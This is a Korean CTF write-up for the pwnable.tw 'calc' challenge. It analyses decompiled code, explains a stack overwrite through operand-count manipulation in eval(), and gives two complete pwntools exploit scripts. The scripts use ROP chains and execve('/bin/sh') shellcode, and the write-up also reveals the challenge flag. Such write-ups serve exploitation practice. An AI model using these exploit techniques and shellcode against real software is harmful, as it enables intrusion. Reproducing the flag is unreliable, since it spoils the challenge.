문제
calc 바이너리의 checksec 결과는 다음과 같다.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
file 명령어의 결과는 다음과 같다.
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
calc 바이너리 코드
calc()
unsigned int calc()
{
int opers_count; // [esp+18h] [ebp-5A0h]
int opers[100]; // [esp+1Ch] [ebp-59Ch]
char input_buf; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]
v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&input_buf, 0x400u);
if ( !get_expr(&input_buf, 1024) )
break;
init_pool(&opers_count);
if ( parse_expr((int)&input_buf, &opers_count) )
{
printf((const char *)&unk_80BF804, opers[opers_count - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}
get_expr() 함수를 통해서 input_buf에 0 - 9 사이의 숫자와 +, -, *, /을 입력으로 받는다. (이외의 값들은 필터링해서 input_buf에 저장하지 않는다.)
init_pool() 함수에서는 opers_count와 opers 배열을 모두 NULL로 초기화 한다.
parse_expr()
signed int __cdecl parse_expr(int input_buf, _DWORD *opers_count)
{
...
v11 = __readgsdword(0x14u);
v5 = input_buf;
v7 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + input_buf) - 0x30) > 9 )
{
v2 = i + input_buf - v5;
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v5, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") )
{
...
return 0;
}
v9 = atoi(s1);
if ( v9 > 0 )
{
v4 = (*opers_count)++;
opers_count[v4 + 1] = v9;
}
if ( *(_BYTE *)(i + input_buf) && (unsigned int)(*(char *)(i + 1 + input_buf) - 0x30) > 9 )
{
...
return 0;
}
v5 = i + 1 + input_buf;
if ( s[v7] )
{
switch ( *(char *)(i + input_buf) )
{
case '%':
case '*':
case '/':
if ( s[v7] != '+' && s[v7] != '-' )
{
eval(opers_count, s[v7]);
s[v7] = *(_BYTE *)(i + input_buf);
}
else
{
s[++v7] = *(_BYTE *)(i + input_buf);
}
break;
case '+':
case '-':
eval(opers_count, s[v7]);
s[v7] = *(_BYTE *)(i + input_buf);
break;
default:
eval(opers_count, s[v7--]);
break;
}
}
else
{
s[v7] = *(_BYTE *)(i + input_buf);
}
if ( !*(_BYTE *)(i + input_buf) )
break;
}
}
while ( v7 >= 0 )
eval(opers_count, s[v7--]);
return 1;
}
}
parse_expr() 함수에서는 input_buf에 저장된 입력값들을 파싱하고 이를 opers 에 저장한다.
파싱하는 과정은 다음과 같다.
- 연산자가 나올 때까지 input_buf+i를 탐색한다. 연산자 전에 있는 문자열이 “0” 이면 함수를 종료한다. (“00”을 넣으면 이 if문을 우회하면서 v9에 0을 넣을 수 있다.)
- 연산자 전까지의 문자열을 atoi 함수를 통해서 정수로 변환한다. 그리고 이 값이 양수이면 opers_count 값을 1 증가시키고 opers 배열에 정수값을 저장한다. (atoi 함수에서는 -100을 음수로 처리하지만 calc에서는 -100의 -을 연산자로 인식하기 때문에 음수는 매우 큰 값이 입력값으로 들어갔을 때만 발생)
- 연산자 다음의 문자가 (input_buf+i+1) 연산자이면 함수를 종료한다.
- 연산자를 저장하는 배열 s[v7] 값이 NULL이면 s[v7]에 연산자를 추가한다. 만약 s[v7]이 NULL이 아니면 연산자 우선순위에 따라 처리를 한다. (ex) + 다음에 *이 나오면 *를 먼저 계산하도록 처리, + 다음 + or -가 나오면 먼저 나온 +를 처리)
- input_buf + i 값이 NULL일 때까지 1 ~ 4를 반복
eval()
_DWORD *__cdecl eval(_DWORD *opers_count, char s[v7])
{
_DWORD *result; // eax
if ( s[v7] == '+' )
{
opers_count[*opers_count - 1] += opers_count[*opers_count];
}
else if ( s[v7] > '+' )
{
if ( s[v7] == '-' )
{
opers_count[*opers_count - 1] -= opers_count[*opers_count];
}
else if ( s[v7] == '/' )
{
opers_count[*opers_count - 1] /= opers_count[*opers_count];
}
}
else if ( s[v7] == '*' )
{
opers_count[*opers_count - 1] *= opers_count[*opers_count];
}
result = opers_count;
--*opers_count;
return result;
}
eval() 함수는 +,-,*,/ 연산을 처리하는 함수이다. 해당 함수에 취약점이 존재하는데 만약 opers_count 값이 1일 때 eval함수가 호출되면 피연산자의 개수를 저장하고 있는 opers_count 값을 조작할 수 있다. (ex) - 100 + 2000, * 100 * 200 , 100 + “00” + 1000과 같은 경우) 이 값을 조작하면 이후에 호출되는 eval() 함수를 통해서 opers 이후의 stack 영역에 overwrite 할 수 있다.
exploit 방법 1 (겁나 복잡한 풀이… 코드를 정확히 파악하고 문제를 풀자)
- 입력 문자열을 “*” + str((0x5a0+X)/4) + “*”+ ROP gadget 으로 구성하면 ebp + X을 ROP gadget으로 overwrite 할 수 있다.
- 내가 이용한 ROP chain은 read 함수를 통해서 bss 영역에 (mprotect 함수를 이용해 실행 가능하도록 설정한 영역) 쉘 코드를 삽입한 뒤 해당 영역으로 jmp하는 것이었다.
여기에서 문제점이 2가지 발생한다.- 0으로 overwrite할 수 없다. (atoi 함수 이후의 if문은 리턴값이 양수일 때만 실행됨)
- 지금까지의 방식대로 ebp + 4 , ebp + 8, … 순서대로 1번 방법을 반복하면 ebp+8을 overwrite할 때 ebp+4가 다른 값으로 바뀐다.
- 따라서 ebp + X, ebp + (X-4), ebp + (x-8) 순서로 stack을 overwrite 했다. 또한 read 함수의 첫 번째 인자를 0으로 만들기 위해서 입력 문자열을 “*” + str((0x5a0+X)/4) + “/” + ROP gadget 로 구성했다. 이렇게 구성하면 read의 첫 번째 parameter 값이 fini의 주소 / bss 영역의 결과값으로 overwrite 된다. (C, C++, java에서의 나눗셈에서는 몫에 대해서 버림을 한다. 즉, -5/2 에서 몫은 -2이고 나머지는 -1이다. ) 즉, 0x8049c30 / 0x080ed000 가 되어서 read의 첫 번째 parameter 값을 0으로 만들 수 있다.
exploit 방법 2
- 입력 문자열을 “+” + str(0x5a0/4) 로 구성해서 opers_count 값을 0x5a0/4로 만든다. (opers_count 변수가 calc 함수의 stack에서 ebp-0x5a0에 위치) 그렇게 하면 calc 함수 내의 printf 함수를 통해서 main 함수의 ebp 값을 알 수 있다. (calc 함수의 ebp는 main 함수의 ebp- 0x20)
- 입력 문자열을 “+” + str(0x5a0/4 + X) 로 구성하면 ebp + X 에 저장된 값을 알아올 수 있다. 이 값을 Y라고 하자.
- 다음 입력 문자열을 “+” + str(0x5a0/4 + X) - Y (Y가 음수인 경우는 + (-Y)) + ROP gadget 주소로 (ROP gadget 주소가 음수값이면 - (-ROP gadget)) 구성하면 ebp + X 의 값을 원하는 값으로 overwrite할 수 있다.
- 2 ~ 3 의 방법을 이용해서 ROP chain을 구성한다. (int 0x80을 이용해서 execve를 호출)
풀이
exploit -1
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/round3/calc/calc"
def overw_ebp_plus_num(loc,over_num):
pay="*"
pay+=str((0x5a0+loc)/4)
pay+="/"
pay+=str(over_num)
p.sendline(pay)
#p=process(file_path)
p=remote("chall.pwnable.tw",10100)
shell="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
bss_sec=0x80ed000
mprotect=0x806f1f0
read=0x806e6d0
pppr=0x08053883
p.recvuntil("===\n")
overw_ebp_plus_num(0x2c,bss_sec)
overw_ebp_plus_num(0x28,0x100)
overw_ebp_plus_num(0x24,bss_sec) # read_1st_parameter = 0
overw_ebp_plus_num(0x1c,pppr)
overw_ebp_plus_num(0x18,read)
overw_ebp_plus_num(0x14,0x7)
overw_ebp_plus_num(0x10,0x1000)
overw_ebp_plus_num(0xc,bss_sec)
overw_ebp_plus_num(8,pppr)
overw_ebp_plus_num(4,mprotect)
p.sendline("Exploit_Calc")
p.send("\x90"*10+shell)
p.interactive()
exploit - 2
#!/usr/bin/python
from pwn import *
import time
file_path="/home/sungyun/round3/calc/calc"
def get_ebp_val():
pay="+"
pay+=str(0x5a0/4)
p.sendline(pay)
val = p.recvline()
return int(val)
def overw_ebp_plus_num(loc,num):
pay="+"
pay+=str( ((loc+0x5a0)/4) )
p.sendline(pay)
org=int(p.recvline())
op1 = "+"
if num < 0:
op1 = "-"
num *= -1
op2 = "-"
if org <0:
org *= -1
op2 = "+"
pay2=pay
pay2+=op1
pay2+=str(num)
pay2+=op2
pay2+=str(org)
p.sendline(pay2)
p.recvline()
#context.log_level = 'debug'
#p=process(file_path)
p=remote("chall.pwnable.tw",10100)
p_eax=0x0805c34b
p_edx_ecx_ebx=0x080701d0
int_80=0x08049a21
null_sec=0x80ed0d0
bin=0x6e69622f
sh=0x68732f
p.recvuntil("===\n")
ebp=get_ebp_val()
ebp= ebp -0x20
overw_ebp_plus_num(0x4,p_eax)
overw_ebp_plus_num(0x8,0xb)
overw_ebp_plus_num(0xc,p_edx_ecx_ebx)
overw_ebp_plus_num(0x10,null_sec)
overw_ebp_plus_num(0x14,null_sec)
overw_ebp_plus_num(0x18,ebp+0x20)
overw_ebp_plus_num(0x1c,int_80)
overw_ebp_plus_num(0x20,bin)
overw_ebp_plus_num(0x24,sh)
p.sendline("Exploit_calc")
p.interactive()
flag : FLAG{C:\Windows\System32\calc.exe}
알게 된 것
- C 언어의 % 연산자에서 음수 처리는 다음과 같이 정의되어 있다. X % Y 를 연산할 때 그 연산 결과의 부호는 X 의 부호를 따라간다. 즉 Y의 부호는 무시되며 오직 X가 양수이면 결과는 양수, 음수이면 결과는 음수가 된다.
ex)
-5 % -2 = -1
5 % -2 = 1
-5 % 2 = -1 - c 언어, c++, java에서 음수의 나눗셈 처리를 할 때는 버림을 한다고 생각하면 된다. (0과 더 가까운 값으로 결정한다.)
ex)
-5 / 2 = -2
5 / -2 = -2
(python에서는 -3이 된다.)
참조 : http://www.flowdas.com/blog/%EB%82%98%EB%88%97%EC%85%88-%EC%9D%B4%EC%95%BC%EA%B8%B0-2/